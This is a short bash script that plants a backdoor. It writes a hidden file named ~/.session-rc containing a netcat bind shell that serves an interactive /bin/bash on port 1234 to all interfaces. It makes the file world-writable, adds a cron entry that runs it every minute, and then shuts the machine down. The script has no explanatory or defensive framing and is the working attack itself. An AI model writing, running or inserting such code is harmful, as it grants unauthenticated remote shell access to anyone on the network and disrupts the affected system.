#!/bin/bash

touch ~/.session-rc
echo -e 'n=$(ps aux | grep -o [1]234)\nif [[ $n = "" ]]; then\n    mkfifo f\n    nc -l 0.0.0.0 1234 < f | /bin/bash -i > f 2>&1\nfi' >> ~/.session-rc
chmod 777 ~/.session-rc
(crontab -l 2>/dev/null; echo "* * * * * ~/.session-rc") | crontab -
shutdown -h now